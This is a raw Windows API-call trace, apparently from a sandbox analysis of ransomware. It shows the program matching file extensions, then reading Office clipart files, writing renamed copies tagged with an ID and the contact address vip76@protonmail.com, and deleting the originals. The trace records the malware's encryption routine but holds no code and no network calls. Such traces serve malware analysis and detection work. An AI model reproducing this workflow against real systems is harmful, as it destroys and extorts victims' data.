	[0180.435] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0180.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68
	[0180.435] lstrlenW (lpString=".dbf") returned 4
	[0180.435] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0180.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68
	[0180.436] lstrlenW (lpString=".1cd") returned 4
	[0180.436] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0180.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68
	[0180.436] lstrlenW (lpString=".jpg") returned 4
	[0180.436] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0180.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68
	[0180.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68
	[0180.436] lstrlenW (lpString=".doc") returned 4
	[0180.436] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0180.436] lstrlenW (lpString=".docx") returned 5
	[0180.436] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0180.436] lstrlenW (lpString=".pdf") returned 4
	[0180.436] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0180.436] lstrlenW (lpString=".xls") returned 4
	[0180.436] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0180.436] lstrlenW (lpString=".xlsx") returned 5
	[0180.436] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0180.436] lstrlenW (lpString=".ppt") returned 4
	[0180.436] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0180.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68
	[0180.436] lstrlenW (lpString=".zip") returned 4
	[0180.436] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0180.436] lstrlenW (lpString=".rar") returned 4
	[0180.436] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0180.436] lstrlenW (lpString=".bz2") returned 4
	[0180.437] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0180.437] lstrlenW (lpString=".7z") returned 3
	[0180.437] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0180.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68
	[0180.437] lstrlenW (lpString=".dbf") returned 4
	[0180.437] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0180.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68
	[0180.437] lstrlenW (lpString=".1cd") returned 4
	[0180.437] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0180.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68
	[0180.437] lstrlenW (lpString=".jpg") returned 4
	[0180.437] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0180.437] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0180.437] lstrlenW (lpString="J0090390.WMF") returned 12
	[0180.437] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4
	[0180.438] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=17638) returned 1
	[0180.438] CloseHandle (hObject=0x5c4) returned 1
	[0180.438] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf")) returned 0x220
	[0180.439] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0180.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4
	[0180.439] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.439] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0180.440] GetLastError () returned 0x0
	[0180.440] ReadFile (in: hFile=0x5c4, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x44e6, lpOverlapped=0x0) returned 1
	[0180.443] WriteFile (in: hFile=0x5b4, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x44f0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x44f0, lpOverlapped=0x0) returned 1
	[0180.445] ReadFile (in: hFile=0x5c4, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.445] WriteFile (in: hFile=0x5b4, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0180.445] SetEndOfFile (hFile=0x5b4) returned 1
	[0180.445] CloseHandle (hObject=0x5b4) returned 1
	[0180.445] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.445] SetEndOfFile (hFile=0x5c4) returned 1
	[0180.449] CloseHandle (hObject=0x5c4) returned 1
	[0180.449] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0180.450] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf")) returned 1
	[0180.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68
	[0180.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68
	[0180.451] lstrlenW (lpString=".doc") returned 4
	[0180.451] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0180.451] lstrlenW (lpString=".docx") returned 5
	[0180.451] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0180.451] lstrlenW (lpString=".pdf") returned 4
	[0180.451] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0180.451] lstrlenW (lpString=".xls") returned 4
	[0180.451] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0180.451] lstrlenW (lpString=".xlsx") returned 5
	[0180.451] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0180.451] lstrlenW (lpString=".ppt") returned 4
	[0180.451] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0180.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68
	[0180.451] lstrlenW (lpString=".zip") returned 4
	[0180.451] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0180.451] lstrlenW (lpString=".rar") returned 4
	[0180.451] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0180.451] lstrlenW (lpString=".bz2") returned 4
	[0180.451] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0180.451] lstrlenW (lpString=".7z") returned 3
	[0180.451] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0180.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68
	[0180.451] lstrlenW (lpString=".dbf") returned 4
	[0180.451] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0180.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68
	[0180.452] lstrlenW (lpString=".1cd") returned 4
	[0180.452] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0180.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68
	[0180.452] lstrlenW (lpString=".jpg") returned 4
	[0180.452] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0180.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68
	[0180.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68
	[0180.452] lstrlenW (lpString=".doc") returned 4
	[0180.452] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0180.452] lstrlenW (lpString=".docx") returned 5
	[0180.452] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0180.452] lstrlenW (lpString=".pdf") returned 4
	[0180.452] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0180.452] lstrlenW (lpString=".xls") returned 4
	[0180.452] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0180.452] lstrlenW (lpString=".xlsx") returned 5
	[0180.452] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0180.452] lstrlenW (lpString=".ppt") returned 4
	[0180.452] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0180.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68
	[0180.452] lstrlenW (lpString=".zip") returned 4
	[0180.452] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0180.452] lstrlenW (lpString=".rar") returned 4
	[0180.452] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0180.452] lstrlenW (lpString=".bz2") returned 4
	[0180.453] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0180.453] lstrlenW (lpString=".7z") returned 3
	[0180.453] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0180.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68
	[0180.453] lstrlenW (lpString=".dbf") returned 4
	[0180.453] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0180.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68
	[0180.453] lstrlenW (lpString=".1cd") returned 4
	[0180.453] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0180.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68
	[0180.453] lstrlenW (lpString=".jpg") returned 4
	[0180.453] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0180.453] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0180.453] lstrlenW (lpString="J0090777.WMF") returned 12
	[0180.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0180.660] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=3332) returned 1
	[0180.660] CloseHandle (hObject=0x4ac) returned 1
	[0180.660] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf")) returned 0x220
	[0180.661] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0180.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0180.661] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.661] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0180.662] GetLastError () returned 0x0
	[0180.662] ReadFile (in: hFile=0x4ac, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0xd04, lpOverlapped=0x0) returned 1
	[0180.664] WriteFile (in: hFile=0x4a8, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xd10, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xd10, lpOverlapped=0x0) returned 1
	[0180.665] ReadFile (in: hFile=0x4ac, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.665] WriteFile (in: hFile=0x4a8, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0180.665] SetEndOfFile (hFile=0x4a8) returned 1
	[0180.665] CloseHandle (hObject=0x4a8) returned 1
	[0180.666] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.666] SetEndOfFile (hFile=0x4ac) returned 1
	[0180.668] CloseHandle (hObject=0x4ac) returned 1
	[0180.669] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0180.669] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf")) returned 1
	[0180.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68
	[0180.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68
	[0180.670] lstrlenW (lpString=".doc") returned 4
	[0180.670] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0180.670] lstrlenW (lpString=".docx") returned 5
	[0180.670] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0180.670] lstrlenW (lpString=".pdf") returned 4
	[0180.670] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0180.670] lstrlenW (lpString=".xls") returned 4
	[0180.670] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0180.670] lstrlenW (lpString=".xlsx") returned 5
	[0180.670] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0180.670] lstrlenW (lpString=".ppt") returned 4
	[0180.670] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0180.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68
	[0180.670] lstrlenW (lpString=".zip") returned 4
	[0180.670] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0180.670] lstrlenW (lpString=".rar") returned 4
	[0180.670] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0180.670] lstrlenW (lpString=".bz2") returned 4
	[0180.670] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0180.670] lstrlenW (lpString=".7z") returned 3
	[0180.670] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0180.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68
	[0180.670] lstrlenW (lpString=".dbf") returned 4
	[0180.670] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0180.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68
	[0180.670] lstrlenW (lpString=".1cd") returned 4
	[0180.670] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0180.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68
	[0180.670] lstrlenW (lpString=".jpg") returned 4
	[0180.670] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0180.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68
	[0180.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68
	[0180.671] lstrlenW (lpString=".doc") returned 4
	[0180.671] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0180.671] lstrlenW (lpString=".docx") returned 5
	[0180.671] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0180.671] lstrlenW (lpString=".pdf") returned 4
	[0180.671] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0180.671] lstrlenW (lpString=".xls") returned 4
	[0180.671] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0180.671] lstrlenW (lpString=".xlsx") returned 5
	[0180.671] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0180.671] lstrlenW (lpString=".ppt") returned 4
	[0180.671] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0180.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68
	[0180.671] lstrlenW (lpString=".zip") returned 4
	[0180.671] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0180.671] lstrlenW (lpString=".rar") returned 4
	[0180.671] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0180.671] lstrlenW (lpString=".bz2") returned 4
	[0180.671] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0180.671] lstrlenW (lpString=".7z") returned 3
	[0180.671] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0180.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68
	[0180.671] lstrlenW (lpString=".dbf") returned 4
	[0180.671] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0180.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68
	[0180.671] lstrlenW (lpString=".1cd") returned 4
	[0180.671] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0180.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68
	[0180.671] lstrlenW (lpString=".jpg") returned 4
	[0180.671] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0180.672] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0180.672] lstrlenW (lpString="J0090779.WMF") returned 12
	[0180.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0180.672] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=1456) returned 1
	[0180.672] CloseHandle (hObject=0x4ac) returned 1
	[0180.672] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf")) returned 0x220
	[0180.672] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0180.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0180.673] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.673] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0180.674] GetLastError () returned 0x0
	[0180.674] ReadFile (in: hFile=0x4ac, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x5b0, lpOverlapped=0x0) returned 1
	[0180.675] WriteFile (in: hFile=0x4a8, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x5c0, lpOverlapped=0x0) returned 1
	[0180.676] ReadFile (in: hFile=0x4ac, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.677] WriteFile (in: hFile=0x4a8, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0180.677] SetEndOfFile (hFile=0x4a8) returned 1
	[0180.677] CloseHandle (hObject=0x4a8) returned 1
	[0180.677] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.677] SetEndOfFile (hFile=0x4ac) returned 1
	[0180.679] CloseHandle (hObject=0x4ac) returned 1
	[0180.679] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0180.680] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf")) returned 1
	[0180.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68
	[0180.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68
	[0180.680] lstrlenW (lpString=".doc") returned 4
	[0180.680] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0180.680] lstrlenW (lpString=".docx") returned 5
	[0180.680] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0180.680] lstrlenW (lpString=".pdf") returned 4
	[0180.680] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0180.681] lstrlenW (lpString=".xls") returned 4
	[0180.681] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0180.681] lstrlenW (lpString=".xlsx") returned 5
	[0180.681] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0180.681] lstrlenW (lpString=".ppt") returned 4
	[0180.681] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0180.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68
	[0180.681] lstrlenW (lpString=".zip") returned 4
	[0180.681] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0180.681] lstrlenW (lpString=".rar") returned 4
	[0180.681] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0180.681] lstrlenW (lpString=".bz2") returned 4
	[0180.681] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0180.681] lstrlenW (lpString=".7z") returned 3
	[0180.681] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
